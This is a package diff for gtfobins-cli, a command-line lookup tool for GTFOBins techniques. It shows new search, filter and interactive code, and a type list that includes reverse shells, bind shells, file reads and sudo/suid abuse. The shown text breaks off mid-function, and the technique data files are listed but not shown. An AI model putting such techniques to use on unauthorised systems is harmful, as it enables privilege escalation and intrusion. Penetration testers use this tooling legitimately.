gtfobins-cli 1.0.0__py3-none-any.whl → 1.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- gtfo/__init__.py +2 -1
- gtfo/cli.py +204 -32
- gtfo/data/7z.json +16 -0
- gtfo/data/aa-exec.json +22 -0
- gtfo/data/ab.json +28 -0
- gtfo/data/acr.json +16 -0
- gtfo/data/agetty.json +10 -0
- gtfo/data/alpine.json +22 -0
- gtfo/data/ansible-playbook.json +16 -0
- gtfo/data/ansible-test.json +16 -0
- gtfo/data/aoss.json +16 -0
- gtfo/data/apache2ctl.json +16 -0
- gtfo/data/apport-cli.json +22 -0
- gtfo/data/apt-get.json +6 -6
- gtfo/data/apt.json +8 -8
- gtfo/data/aptitude.json +16 -0
- gtfo/data/ar.json +6 -4
- gtfo/data/aria2c.json +17 -5
- gtfo/data/arj.json +28 -0
- gtfo/data/arp.json +7 -5
- gtfo/data/as.json +22 -0
- gtfo/data/ascii-xfr.json +22 -0
- gtfo/data/ascii85.json +16 -0
- gtfo/data/ash.json +9 -5
- gtfo/data/aspell.json +22 -0
- gtfo/data/asterisk.json +20 -0
- gtfo/data/at.json +3 -1
- gtfo/data/atobm.json +6 -4
- gtfo/data/awk.json +20 -14
- gtfo/data/aws.json +16 -0
- gtfo/data/base32.json +7 -4
- gtfo/data/base58.json +16 -0
- gtfo/data/base64.json +7 -4
- gtfo/data/basenc.json +6 -3
- gtfo/data/basez.json +22 -0
- gtfo/data/bash.json +22 -17
- gtfo/data/bashbug.json +14 -0
- gtfo/data/batcat.json +22 -0
- gtfo/data/bc.json +22 -0
- gtfo/data/bconsole.json +22 -0
- gtfo/data/bee.json +10 -0
- gtfo/data/borg.json +16 -0
- gtfo/data/bpftrace.json +6 -3
- gtfo/data/bridge.json +22 -0
- gtfo/data/bundle.json +32 -0
- gtfo/data/bundler.json +7 -4
- gtfo/data/busctl.json +14 -3
- gtfo/data/busybox.json +17 -8
- gtfo/data/byebug.json +4 -1
- gtfo/data/bzip2.json +22 -0
- gtfo/data/c89.json +28 -0
- gtfo/data/c99.json +28 -0
- gtfo/data/cabal.json +22 -0
- gtfo/data/cancel.json +3 -3
- gtfo/data/capsh.json +6 -3
- gtfo/data/cargo.json +14 -0
- gtfo/data/cat.json +7 -4
- gtfo/data/cdist.json +16 -0
- gtfo/data/certbot.json +2 -0
- gtfo/data/chattr.json +14 -0
- gtfo/data/check_by_ssh.json +2 -3
- gtfo/data/check_cups.json +4 -3
- gtfo/data/check_log.json +20 -18
- gtfo/data/check_memory.json +4 -3
- gtfo/data/check_raid.json +4 -3
- gtfo/data/check_ssl_cert.json +2 -3
- gtfo/data/check_statusfile.json +4 -3
- gtfo/data/chmod.json +4 -3
- gtfo/data/choom.json +22 -0
- gtfo/data/chown.json +5 -4
- gtfo/data/chroot.json +3 -1
- gtfo/data/chrt.json +28 -0
- gtfo/data/clamscan.json +22 -0
- gtfo/data/clisp.json +16 -0
- gtfo/data/cmake.json +28 -0
- gtfo/data/cmp.json +22 -0
- gtfo/data/cobc.json +3 -1
- gtfo/data/code.json +22 -0
- gtfo/data/column.json +6 -4
- gtfo/data/comm.json +6 -3
- gtfo/data/composer.json +3 -0
- gtfo/data/cowsay.json +2 -1
- gtfo/data/cowthink.json +16 -14
- gtfo/data/cp.json +21 -9
- gtfo/data/cpan.json +8 -7
- gtfo/data/cpio.json +14 -12
- gtfo/data/cpulimit.json +6 -3
- gtfo/data/crash.json +5 -4
- gtfo/data/crontab.json +5 -5
- gtfo/data/csh.json +9 -5
- gtfo/data/csplit.json +12 -3
- gtfo/data/csvtool.json +8 -5
- gtfo/data/ctr.json +10 -0
- gtfo/data/cupsfilter.json +6 -3
- gtfo/data/curl.json +19 -7
- gtfo/data/cut.json +7 -4
- gtfo/data/dash.json +9 -5
- gtfo/data/date.json +7 -5
- gtfo/data/dc.json +22 -0
- gtfo/data/dd.json +9 -5
- gtfo/data/debugfs.json +22 -0
- gtfo/data/dhclient.json +10 -0
- gtfo/data/dialog.json +7 -5
- gtfo/data/diff.json +11 -4
- gtfo/data/dig.json +6 -4
- gtfo/data/distcc.json +22 -0
- gtfo/data/dmesg.json +4 -4
- gtfo/data/dmidecode.json +10 -0
- gtfo/data/dmsetup.json +3 -1
- gtfo/data/dnf.json +3 -3
- gtfo/data/dnsmasq.json +10 -0
- gtfo/data/doas.json +10 -0
- gtfo/data/docker.json +9 -6
- gtfo/data/dos2unix.json +10 -0
- gtfo/data/dosbox.json +32 -0
- gtfo/data/dotnet.json +22 -0
- gtfo/data/dpkg.json +5 -5
- gtfo/data/dstat.json +16 -0
- gtfo/data/dvips.json +3 -1
- gtfo/data/easy_install.json +14 -11
- gtfo/data/eb.json +3 -2
- gtfo/data/ed.json +9 -3
- gtfo/data/efax.json +16 -0
- gtfo/data/elvish.json +34 -0
- gtfo/data/emacs.json +11 -6
- gtfo/data/enscript.json +16 -0
- gtfo/data/env.json +7 -4
- gtfo/data/eqn.json +7 -5
- gtfo/data/espeak.json +22 -0
- gtfo/data/ex.json +30 -22
- gtfo/data/exiftool.json +26 -4
- gtfo/data/expand.json +7 -5
- gtfo/data/expect.json +13 -4
- gtfo/data/facter.json +4 -2
- gtfo/data/fail2ban-client.json +14 -0
- gtfo/data/ffmpeg.json +10 -0
- gtfo/data/file.json +8 -8
- gtfo/data/find.json +19 -4
- gtfo/data/finger.json +5 -6
- gtfo/data/firejail.json +35 -0
- gtfo/data/fish.json +22 -0
- gtfo/data/flock.json +7 -4
- gtfo/data/fmt.json +5 -6
- gtfo/data/fold.json +7 -4
- gtfo/data/fping.json +16 -0
- gtfo/data/ftp.json +5 -3
- gtfo/data/fzf.json +90 -0
- gtfo/data/gawk.json +17 -11
- gtfo/data/gcc.json +12 -4
- gtfo/data/gcloud.json +16 -0
- gtfo/data/gcore.json +22 -0
- gtfo/data/gdb.json +15 -13
- gtfo/data/gem.json +8 -8
- gtfo/data/genie.json +22 -0
- gtfo/data/genisoimage.json +11 -4
- gtfo/data/getent.json +14 -0
- gtfo/data/ghc.json +4 -2
- gtfo/data/ghci.json +2 -0
- gtfo/data/gimp.json +19 -14
- gtfo/data/ginsh.json +22 -0
- gtfo/data/git.json +22 -11
- gtfo/data/gnuplot.json +16 -0
- gtfo/data/go.json +58 -0
- gtfo/data/grc.json +16 -0
- gtfo/data/grep.json +7 -5
- gtfo/data/gtester.json +10 -1
- gtfo/data/guile.json +16 -0
- gtfo/data/gzip.json +14 -5
- gtfo/data/hashcat.json +16 -0
- gtfo/data/hd.json +7 -5
- gtfo/data/head.json +7 -4
- gtfo/data/hexdump.json +7 -5
- gtfo/data/hg.json +16 -0
- gtfo/data/highlight.json +7 -4
- gtfo/data/hping3.json +7 -0
- gtfo/data/iconv.json +9 -6
- gtfo/data/iftop.json +3 -1
- gtfo/data/install.json +4 -3
- gtfo/data/ionice.json +7 -4
- gtfo/data/ip.json +11 -5
- gtfo/data/irb.json +13 -8
- gtfo/data/ispell.json +22 -0
- gtfo/data/java.json +10 -0
- gtfo/data/jjs.json +13 -10
- gtfo/data/joe.json +22 -0
- gtfo/data/join.json +6 -3
- gtfo/data/journalctl.json +3 -2
- gtfo/data/jq.json +7 -4
- gtfo/data/jrunscript.json +13 -10
- gtfo/data/jshell.json +35 -0
- gtfo/data/jtag.json +16 -0
- gtfo/data/julia.json +46 -0
- gtfo/data/knife.json +16 -0
- gtfo/data/ksh.json +19 -15
- gtfo/data/ksshell.json +7 -5
- gtfo/data/ksu.json +10 -0
- gtfo/data/kubectl.json +30 -0
- gtfo/data/last.json +16 -0
- gtfo/data/lastb.json +16 -0
- gtfo/data/latex.json +11 -2
- gtfo/data/latexmk.json +9 -6
- gtfo/data/ld.so.json +7 -5
- gtfo/data/ldconfig.json +1 -2
- gtfo/data/less.json +17 -7
- gtfo/data/lessfilter.json +22 -0
- gtfo/data/lesspipe.json +16 -0
- gtfo/data/lftp.json +22 -0
- gtfo/data/links.json +22 -0
- gtfo/data/ln.json +10 -0
- gtfo/data/loginctl.json +16 -0
- gtfo/data/logrotate.json +38 -0
- gtfo/data/logsave.json +7 -4
- gtfo/data/look.json +7 -4
- gtfo/data/lp.json +10 -0
- gtfo/data/ltrace.json +7 -5
- gtfo/data/lua.json +21 -15
- gtfo/data/lualatex.json +6 -4
- gtfo/data/luatex.json +6 -4
- gtfo/data/lwp-download.json +7 -5
- gtfo/data/lwp-request.json +4 -2
- gtfo/data/m4.json +59 -0
- gtfo/data/mail.json +3 -3
- gtfo/data/make.json +15 -7
- gtfo/data/man.json +5 -3
- gtfo/data/mawk.json +12 -6
- gtfo/data/minicom.json +26 -0
- gtfo/data/more.json +7 -3
- gtfo/data/mosh-server.json +10 -0
- gtfo/data/mosquitto.json +22 -0
- gtfo/data/mount.json +2 -2
- gtfo/data/msfconsole.json +16 -0
- gtfo/data/msgattrib.json +22 -0
- gtfo/data/msgcat.json +22 -0
- gtfo/data/msgconv.json +22 -0
- gtfo/data/msgfilter.json +28 -0
- gtfo/data/msgmerge.json +22 -0
- gtfo/data/msguniq.json +22 -0
- gtfo/data/mtr.json +5 -4
- gtfo/data/multitime.json +22 -0
- gtfo/data/mutt.json +14 -0
- gtfo/data/mv.json +5 -4
- gtfo/data/mypy.json +26 -0
- gtfo/data/mysql.json +9 -7
- gtfo/data/nano.json +9 -5
- gtfo/data/nasm.json +22 -0
- gtfo/data/nawk.json +16 -10
- gtfo/data/nc.json +13 -13
- gtfo/data/ncdu.json +22 -0
- gtfo/data/ncftp.json +22 -0
- gtfo/data/neofetch.json +22 -0
- gtfo/data/nft.json +22 -0
- gtfo/data/nginx.json +22 -0
- gtfo/data/nice.json +7 -4
- gtfo/data/nl.json +7 -5
- gtfo/data/nm.json +22 -0
- gtfo/data/nmap.json +26 -16
- gtfo/data/node.json +18 -12
- gtfo/data/nohup.json +10 -6
- gtfo/data/npm.json +6 -0
- gtfo/data/nroff.json +3 -1
- gtfo/data/nsenter.json +5 -3
- gtfo/data/ntpdate.json +22 -0
- gtfo/data/nvim.json +16 -0
- gtfo/data/octave.json +34 -0
- gtfo/data/od.json +7 -5
- gtfo/data/openssl.json +21 -16
- gtfo/data/openvpn.json +13 -5
- gtfo/data/openvt.json +1 -1
- gtfo/data/opkg.json +10 -0
- gtfo/data/pandoc.json +40 -0
- gtfo/data/passwd.json +10 -0
- gtfo/data/paste.json +6 -3
- gtfo/data/pax.json +10 -0
- gtfo/data/pdb.json +3 -2
- gtfo/data/pdflatex.json +5 -2
- gtfo/data/pdftex.json +3 -0
- gtfo/data/perf.json +22 -0
- gtfo/data/perl.json +28 -7
- gtfo/data/perlbug.json +16 -0
- gtfo/data/pexec.json +22 -0
- gtfo/data/pg.json +7 -3
- gtfo/data/php.json +25 -15
- gtfo/data/pic.json +10 -1
- gtfo/data/pico.json +8 -4
- gtfo/data/pidstat.json +22 -0
- gtfo/data/pip.json +19 -8
- gtfo/data/pipx.json +25 -0
- gtfo/data/pkexec.json +3 -2
- gtfo/data/pkg.json +1 -1
- gtfo/data/plymouth.json +10 -0
- gtfo/data/podman.json +10 -0
- gtfo/data/poetry.json +26 -0
- gtfo/data/posh.json +22 -0
- gtfo/data/pr.json +6 -4
- gtfo/data/procmail.json +10 -0
- gtfo/data/pry.json +4 -1
- gtfo/data/psftp.json +22 -0
- gtfo/data/psql.json +14 -1
- gtfo/data/ptx.json +22 -0
- gtfo/data/puppet.json +6 -4
- gtfo/data/pwsh.json +22 -0
- gtfo/data/pygmentize.json +14 -0
- gtfo/data/pyright.json +32 -0
- gtfo/data/python.json +21 -15
- gtfo/data/qpdf.json +18 -0
- gtfo/data/r.json +16 -0
- gtfo/data/rake.json +13 -4
- gtfo/data/rc.json +22 -0
- gtfo/data/readelf.json +7 -5
- gtfo/data/red.json +7 -5
- gtfo/data/redcarpet.json +5 -4
- gtfo/data/redis.json +10 -0
- gtfo/data/restic.json +13 -5
- gtfo/data/rev.json +6 -3
- gtfo/data/rlogin.json +3 -4
- gtfo/data/rlwrap.json +9 -6
- gtfo/data/rpm.json +9 -5
- gtfo/data/rpmdb.json +22 -0
- gtfo/data/rpmquery.json +6 -3
- gtfo/data/rpmverify.json +22 -0
- gtfo/data/rsync.json +7 -4
- gtfo/data/rsyslogd.json +16 -0
- gtfo/data/rtorrent.json +16 -0
- gtfo/data/ruby.json +17 -11
- gtfo/data/run-mailcap.json +7 -7
- gtfo/data/run-parts.json +7 -4
- gtfo/data/runscript.json +22 -0
- gtfo/data/rustdoc.json +26 -0
- gtfo/data/rustfmt.json +15 -0
- gtfo/data/rustup.json +22 -0
- gtfo/data/rview.json +36 -34
- gtfo/data/rvim.json +41 -35
- gtfo/data/sash.json +8 -5
- gtfo/data/scanmem.json +22 -0
- gtfo/data/scp.json +6 -3
- gtfo/data/screen.json +9 -7
- gtfo/data/script.json +6 -4
- gtfo/data/scrot.json +22 -0
- gtfo/data/sed.json +12 -9
- gtfo/data/service.json +5 -3
- gtfo/data/setarch.json +7 -4
- gtfo/data/setcap.json +16 -0
- gtfo/data/setfacl.json +16 -0
- gtfo/data/setlock.json +22 -0
- gtfo/data/sftp.json +7 -5
- gtfo/data/sg.json +1 -0
- gtfo/data/shred.json +16 -0
- gtfo/data/shuf.json +5 -5
- gtfo/data/slsh.json +22 -0
- gtfo/data/smbclient.json +9 -8
- gtfo/data/snap.json +2 -2
- gtfo/data/socat.json +23 -11
- gtfo/data/socket.json +16 -0
- gtfo/data/soelim.json +7 -5
- gtfo/data/softlimit.json +22 -0
- gtfo/data/sort.json +13 -4
- gtfo/data/split.json +15 -4
- gtfo/data/sqlite3.json +12 -6
- gtfo/data/sqlmap.json +16 -0
- gtfo/data/ss.json +6 -4
- gtfo/data/ssh-agent.json +22 -0
- gtfo/data/ssh-copy-id.json +24 -0
- gtfo/data/ssh-keygen.json +6 -6
- gtfo/data/ssh-keyscan.json +22 -0
- gtfo/data/ssh.json +11 -7
- gtfo/data/sshfs.json +42 -0
- gtfo/data/sshpass.json +22 -0
- gtfo/data/sshuttle.json +10 -0
- gtfo/data/start-stop-daemon.json +7 -4
- gtfo/data/stdbuf.json +7 -4
- gtfo/data/strace.json +8 -5
- gtfo/data/strings.json +7 -5
- gtfo/data/su.json +3 -2
- gtfo/data/sudo.json +10 -0
- gtfo/data/svn.json +10 -0
- gtfo/data/sysctl.json +13 -5
- gtfo/data/systemctl.json +7 -4
- gtfo/data/systemd-resolve.json +10 -0
- gtfo/data/systemd-run.json +60 -0
- gtfo/data/tac.json +7 -5
- gtfo/data/tail.json +7 -4
- gtfo/data/tailscale.json +10 -0
- gtfo/data/tar.json +14 -11
- gtfo/data/task.json +16 -0
- gtfo/data/taskset.json +7 -4
- gtfo/data/tasksh.json +22 -0
- gtfo/data/tbl.json +6 -4
- gtfo/data/tclsh.json +11 -6
- gtfo/data/tcpdump.json +11 -4
- gtfo/data/tcsh.json +28 -0
- gtfo/data/tdbtool.json +22 -0
- gtfo/data/tee.json +9 -7
- gtfo/data/telnet.json +6 -6
- gtfo/data/terraform.json +22 -0
- gtfo/data/tex.json +3 -0
- gtfo/data/tftp.json +5 -5
- gtfo/data/tic.json +22 -0
- gtfo/data/time.json +7 -5
- gtfo/data/timedatectl.json +16 -0
- gtfo/data/timeout.json +7 -4
- gtfo/data/tmate.json +22 -0
- gtfo/data/tmux.json +15 -3
- gtfo/data/top.json +2 -2
- gtfo/data/torify.json +16 -0
- gtfo/data/torsocks.json +16 -0
- gtfo/data/troff.json +6 -4
- gtfo/data/tsc.json +26 -0
- gtfo/data/tshark.json +10 -0
- gtfo/data/ul.json +7 -5
- gtfo/data/unexpand.json +7 -4
- gtfo/data/uniq.json +7 -5
- gtfo/data/unshare.json +7 -4
- gtfo/data/unsquashfs.json +16 -0
- gtfo/data/unzip.json +16 -0
- gtfo/data/update-alternatives.json +4 -4
- gtfo/data/urlget.json +16 -0
- gtfo/data/uudecode.json +22 -0
- gtfo/data/uuencode.json +21 -18
- gtfo/data/uv.json +43 -0
- gtfo/data/vagrant.json +22 -0
- gtfo/data/valgrind.json +5 -3
- gtfo/data/varnishncsa.json +16 -0
- gtfo/data/vi.json +18 -6
- gtfo/data/view.json +41 -36
- gtfo/data/vigr.json +16 -0
- gtfo/data/vim.json +43 -38
- gtfo/data/vimdiff.json +41 -36
- gtfo/data/vipw.json +16 -0
- gtfo/data/virsh.json +6 -5
- gtfo/data/volatility.json +10 -0
- gtfo/data/w3m.json +22 -0
- gtfo/data/wall.json +10 -0
- gtfo/data/watch.json +9 -6
- gtfo/data/wc.json +6 -4
- gtfo/data/wg-quick.json +10 -0
- gtfo/data/wget.json +17 -11
- gtfo/data/whiptail.json +22 -0
- gtfo/data/whois.json +9 -10
- gtfo/data/wireshark.json +16 -0
- gtfo/data/wish.json +5 -3
- gtfo/data/xargs.json +9 -8
- gtfo/data/xdg-user-dir.json +16 -0
- gtfo/data/xdotool.json +22 -0
- gtfo/data/xelatex.json +5 -2
- gtfo/data/xetex.json +3 -0
- gtfo/data/xmodmap.json +6 -4
- gtfo/data/xmore.json +6 -4
- gtfo/data/xpad.json +16 -0
- gtfo/data/xxd.json +9 -5
- gtfo/data/xz.json +7 -4
- gtfo/data/yarn.json +20 -0
- gtfo/data/yash.json +22 -0
- gtfo/data/yelp.json +2 -2
- gtfo/data/yt-dlp.json +24 -0
- gtfo/data/yum.json +4 -4
- gtfo/data/zathura.json +16 -0
- gtfo/data/zcat.json +10 -0
- gtfo/data/zic.json +20 -0
- gtfo/data/zip.json +5 -1
- gtfo/data/zless.json +15 -0
- gtfo/data/zsh.json +10 -5
- gtfo/data/zsoelim.json +7 -5
- gtfo/data/zypper.json +5 -3
- gtfo/images/filter-with.png +0 -0
- gtfo/images/search-docker.png +0 -0
- gtfo/images/search-for.png +0 -0
- gtfo/images/search-interactive.png +0 -0
- gtfo/images/sqlit3.png +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/METADATA +66 -17
- gtfobins_cli-1.1.0.dist-info/RECORD +474 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/WHEEL +1 -1
- gtfo/data/octave-cli.json +0 -30
- gtfo/data/ssh_keyscan.json +0 -20
- gtfobins_cli-1.0.0.dist-info/RECORD +0 -263
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/entry_points.txt +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/licenses/LICENSE +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/top_level.txt +0 -0
gtfo/__init__.py
CHANGED
gtfo/cli.py
CHANGED
|
@@ -3,6 +3,8 @@
|
|
|
3
3
|
import argparse
|
|
4
4
|
import json
|
|
5
5
|
import os
|
|
6
|
+
import sys
|
|
7
|
+
from difflib import SequenceMatcher
|
|
6
8
|
from pathlib import Path
|
|
7
9
|
from string import Template
|
|
8
10
|
|
|
@@ -12,7 +14,7 @@ from pygments import highlight, formatters, lexers
|
|
|
12
14
|
# Initialize colorama for Windows compatibility
|
|
13
15
|
init(autoreset=True)
|
|
14
16
|
|
|
15
|
-
banner = '''
|
|
17
|
+
banner = r'''
|
|
16
18
|
__ ___ __ _
|
|
17
19
|
___ _ / /_ / _/ ___ / / (_) ___ ___
|
|
18
20
|
/ _ `// __/ / _/ / _ \ / _ \ / / / _ \ (_-<
|
|
@@ -25,6 +27,13 @@ PACKAGE_DIR = Path(__file__).parent
|
|
|
25
27
|
data_dir = PACKAGE_DIR / "data"
|
|
26
28
|
json_ext = ".json"
|
|
27
29
|
|
|
30
|
+
EXPLOIT_TYPES = [
|
|
31
|
+
'shell', 'command', 'reverse-shell', 'non-interactive-reverse-shell',
|
|
32
|
+
'bind-shell', 'non-interactive-bind-shell', 'file-upload', 'file-download',
|
|
33
|
+
'file-write', 'file-read', 'library-load', 'suid', 'sudo', 'capabilities',
|
|
34
|
+
'limited-suid'
|
|
35
|
+
]
|
|
36
|
+
|
|
28
37
|
info = Template(Style.BRIGHT + '[ ' + Fore.GREEN + '*' + Fore.RESET + ' ] ' + Style.RESET_ALL + '$text')
|
|
29
38
|
fail = Template(Style.BRIGHT + '[ ' + Fore.RED + '-' + Fore.RESET + ' ] ' + Style.RESET_ALL + '$text')
|
|
30
39
|
title = Template(
|
|
@@ -34,6 +43,38 @@ description = Template(Style.DIM + '# ' + '$description' + Style.RESET_ALL)
|
|
|
34
43
|
divider = '\n' + Style.BRIGHT + ' - ' * 10 + Style.RESET_ALL + '\n'
|
|
35
44
|
|
|
36
45
|
|
|
46
|
+
def get_all_binaries():
|
|
47
|
+
"""Get list of all available binary names."""
|
|
48
|
+
return sorted([f.stem for f in data_dir.glob('*.json')])
|
|
49
|
+
|
|
50
|
+
|
|
51
|
+
def fuzzy_match(query, choices, threshold=0.4):
|
|
52
|
+
"""Return choices that fuzzy match the query, sorted by relevance."""
|
|
53
|
+
results = []
|
|
54
|
+
query_lower = query.lower()
|
|
55
|
+
for choice in choices:
|
|
56
|
+
choice_lower = choice.lower()
|
|
57
|
+
# Exact substring match gets highest priority
|
|
58
|
+
if query_lower in choice_lower:
|
|
59
|
+
score = 1.0 if query_lower == choice_lower else 0.9
|
|
60
|
+
else:
|
|
61
|
+
score = SequenceMatcher(None, query_lower, choice_lower).ratio()
|
|
62
|
+
if score >= threshold:
|
|
63
|
+
results.append((choice, score))
|
|
64
|
+
return [r[0] for r in sorted(results, key=lambda x: (-x[1], x[0]))]
|
|
65
|
+
|
|
66
|
+
|
|
67
|
+
def get_binaries_with_type(exploit_type):
|
|
68
|
+
"""Get all binaries that have a specific exploitation type."""
|
|
69
|
+
matching = []
|
|
70
|
+
for json_file in data_dir.glob('*.json'):
|
|
71
|
+
with open(json_file) as f:
|
|
72
|
+
data = json.load(f)
|
|
73
|
+
if exploit_type in data.get('functions', {}):
|
|
74
|
+
matching.append(json_file.stem)
|
|
75
|
+
return sorted(matching)
|
|
76
|
+
|
|
77
|
+
|
|
37
78
|
def parse_args():
|
|
38
79
|
from . import __version__
|
|
39
80
|
parser = argparse.ArgumentParser(
|
|
@@ -41,42 +82,173 @@ def parse_args():
|
|
|
41
82
|
description="Command-line tool for GTFOBins - helps you bypass system security restrictions."
|
|
42
83
|
)
|
|
43
84
|
parser.add_argument('-v', '--version', action='version', version=f'%(prog)s {__version__}')
|
|
44
|
-
parser.add_argument('binary', metavar='binary', help='Unix binary to search for exploitation techniques')
|
|
85
|
+
parser.add_argument('binary', metavar='binary', nargs='?', help='Unix binary to search for exploitation techniques')
|
|
86
|
+
parser.add_argument('-s', '--search', metavar='TERM', help='Fuzzy search binaries by name')
|
|
87
|
+
parser.add_argument('-f', '--filter', metavar='TYPE', dest='exploit_type',
|
|
88
|
+
help=f'Filter binaries by exploitation type: {", ".join(EXPLOIT_TYPES)}')
|
|
89
|
+
parser.add_argument('-i', '--interactive', action='store_true',
|
|
90
|
+
help='Interactive mode with autocomplete')
|
|
91
|
+
parser.add_argument('-l', '--list', action='store_true', dest='list_all',
|
|
92
|
+
help='List all available binaries')
|
|
45
93
|
return parser.parse_args()
|
|
46
94
|
|
|
47
95
|
|
|
48
|
-
def
|
|
49
|
-
"""
|
|
50
|
-
if binary is None:
|
|
51
|
-
args = parse_args()
|
|
52
|
-
binary = args.binary
|
|
53
|
-
|
|
96
|
+
def display_binary(binary, filter_type=None):
|
|
97
|
+
"""Display exploitation techniques for a binary."""
|
|
54
98
|
file_path = data_dir / f"{binary}{json_ext}"
|
|
55
|
-
if file_path.exists():
|
|
56
|
-
print(info.safe_substitute(text="Supplied binary: " + binary))
|
|
57
|
-
print(info.safe_substitute(text="Please wait, loading data ... "))
|
|
58
|
-
with open(file_path) as source:
|
|
59
|
-
data = source.read()
|
|
60
|
-
|
|
61
|
-
json_data = json.loads(data)
|
|
62
|
-
if 'description' in json_data:
|
|
63
|
-
print('\n' + description.safe_substitute(description=json_data['description']))
|
|
64
|
-
|
|
65
|
-
for vector in json_data['functions']:
|
|
66
|
-
print(title.safe_substitute(title=str(vector).upper()))
|
|
67
|
-
index = 0
|
|
68
|
-
for code in json_data['functions'][vector]:
|
|
69
|
-
index = index + 1
|
|
70
|
-
if 'description' in code:
|
|
71
|
-
print(description.safe_substitute(description=code['description']) + '\n')
|
|
72
|
-
print(highlight(code['code'], lexers.BashLexer(),
|
|
73
|
-
formatters.TerminalTrueColorFormatter(style='igor')).strip())
|
|
74
|
-
if index != len(json_data['functions'][vector]):
|
|
75
|
-
print(divider)
|
|
76
|
-
|
|
77
|
-
print('\n' + info.safe_substitute(text="Goodbye, friend."))
|
|
78
|
-
else:
|
|
99
|
+
if not file_path.exists():
|
|
79
100
|
print(fail.safe_substitute(text="Sorry, couldn't find anything for " + binary))
|
|
101
|
+
return False
|
|
102
|
+
|
|
103
|
+
print(info.safe_substitute(text="Supplied binary: " + binary))
|
|
104
|
+
with open(file_path) as source:
|
|
105
|
+
json_data = json.load(source)
|
|
106
|
+
|
|
107
|
+
if 'description' in json_data:
|
|
108
|
+
print('\n' + description.safe_substitute(description=json_data['description']))
|
|
109
|
+
|
|
110
|
+
vectors = json_data['functions']
|
|
111
|
+
if filter_type:
|
|
112
|
+
vectors = {k: v for k, v in vectors.items() if k == filter_type}
|
|
113
|
+
if not vectors:
|
|
114
|
+
print(fail.safe_substitute(text=f"No '{filter_type}' techniques for {binary}"))
|
|
115
|
+
return False
|
|
116
|
+
|
|
117
|
+
for vector in vectors:
|
|
118
|
+
print(title.safe_substitute(title=str(vector).upper()))
|
|
119
|
+
for idx, code in enumerate(vectors[vector]):
|
|
120
|
+
if 'description' in code:
|
|
121
|
+
print(description.safe_substitute(description=code['description']) + '\n')
|
|
122
|
+
print(highlight(code['code'], lexers.BashLexer(),
|
|
123
|
+
formatters.TerminalTrueColorFormatter(style='igor')).strip())
|
|
124
|
+
if idx != len(vectors[vector]) - 1:
|
|
125
|
+
print(divider)
|
|
126
|
+
|
|
127
|
+
print('\n' + info.safe_substitute(text="Goodbye, friend."))
|
|
128
|
+
return True
|
|
129
|
+
|
|
130
|
+
|
|
131
|
+
def print_binary_list(binaries, columns=4):
|
|
132
|
+
"""Print binaries in columns."""
|
|
133
|
+
if not binaries:
|
|
134
|
+
print(fail.safe_substitute(text="No binaries found."))
|
|
135
|
+
return
|
|
136
|
+
max_len = max(len(b) for b in binaries) + 2
|
|
137
|
+
per_row = columns
|
|
138
|
+
for i in range(0, len(binaries), per_row):
|
|
139
|
+
row = binaries[i:i + per_row]
|
|
140
|
+
print(' ' + ''.join(b.ljust(max_len) for b in row))
|
|
141
|
+
|
|
142
|
+
|
|
143
|
+
def interactive_mode():
|
|
144
|
+
"""Interactive mode with autocomplete."""
|
|
145
|
+
try:
|
|
146
|
+
from prompt_toolkit import prompt
|
|
147
|
+
from prompt_toolkit.completion import FuzzyWordCompleter
|
|
148
|
+
except ImportError:
|
|
149
|
+
print(fail.safe_substitute(text="Interactive mode requires 'prompt_toolkit'. Install with: pip install prompt_toolkit"))
|
|
150
|
+
sys.exit(1)
|
|
151
|
+
|
|
152
|
+
binaries = get_all_binaries()
|
|
153
|
+
completer = FuzzyWordCompleter(binaries)
|
|
154
|
+
|
|
155
|
+
print(info.safe_substitute(text=f"Interactive mode - {len(binaries)} binaries available"))
|
|
156
|
+
print(info.safe_substitute(text="Type binary name (Tab for autocomplete, Ctrl+C to exit)"))
|
|
157
|
+
print()
|
|
158
|
+
|
|
159
|
+
while True:
|
|
160
|
+
try:
|
|
161
|
+
user_input = prompt('gtfo> ', completer=completer).strip()
|
|
162
|
+
if not user_input:
|
|
163
|
+
continue
|
|
164
|
+
if user_input.lower() in ('exit', 'quit', 'q'):
|
|
165
|
+
break
|
|
166
|
+
display_binary(user_input)
|
|
167
|
+
print()
|
|
168
|
+
except KeyboardInterrupt:
|
|
169
|
+
break
|
|
170
|
+
except EOFError:
|
|
171
|
+
break
|
|
172
|
+
|
|
173
|
+
print('\n' + info.safe_substitute(text="Goodbye, friend."))
|
|
174
|
+
|
|
175
|
+
|
|
176
|
+
def run(binary=None):
|
|
177
|
+
"""Main function that can be called programmatically."""
|
|
178
|
+
args = parse_args() if binary is None else None
|
|
179
|
+
|
|
180
|
+
if args:
|
|
181
|
+
if args.interactive:
|
|
182
|
+
if args.list_all or args.search or args.binary or args.exploit_type:
|
|
183
|
+
print(fail.safe_substitute(text="Interactive mode cannot be combined with other options"))
|
|
184
|
+
return
|
|
185
|
+
interactive_mode()
|
|
186
|
+
return
|
|
187
|
+
|
|
188
|
+
if args.binary and (args.list_all or args.search):
|
|
189
|
+
print(fail.safe_substitute(text="Cannot combine binary with -l/--list or -s/--search"))
|
|
190
|
+
return
|
|
191
|
+
|
|
192
|
+
if args.list_all and args.search:
|
|
193
|
+
print(fail.safe_substitute(text="Cannot combine -l/--list with -s/--search"))
|
|
194
|
+
return
|
|
195
|
+
|
|
196
|
+
if args.exploit_type and args.exploit_type not in EXPLOIT_TYPES:
|
|
197
|
+
print(fail.safe_substitute(text=f"Unknown type '{args.exploit_type}'"))
|
|
198
|
+
print(info.safe_substitute(text=f"Valid types: {', '.join(EXPLOIT_TYPES)}"))
|
|
199
|
+
return
|
|
200
|
+
|
|
201
|
+
if args.list_all:
|
|
202
|
+
if args.exploit_type:
|
|
203
|
+
binaries = get_binaries_with_type(args.exploit_type)
|
|
204
|
+
label = f"Binaries with '{args.exploit_type}'"
|
|
205
|
+
else:
|
|
206
|
+
binaries = get_all_binaries()
|
|
207
|
+
label = "Available binaries"
|
|
208
|
+
if binaries:
|
|
209
|
+
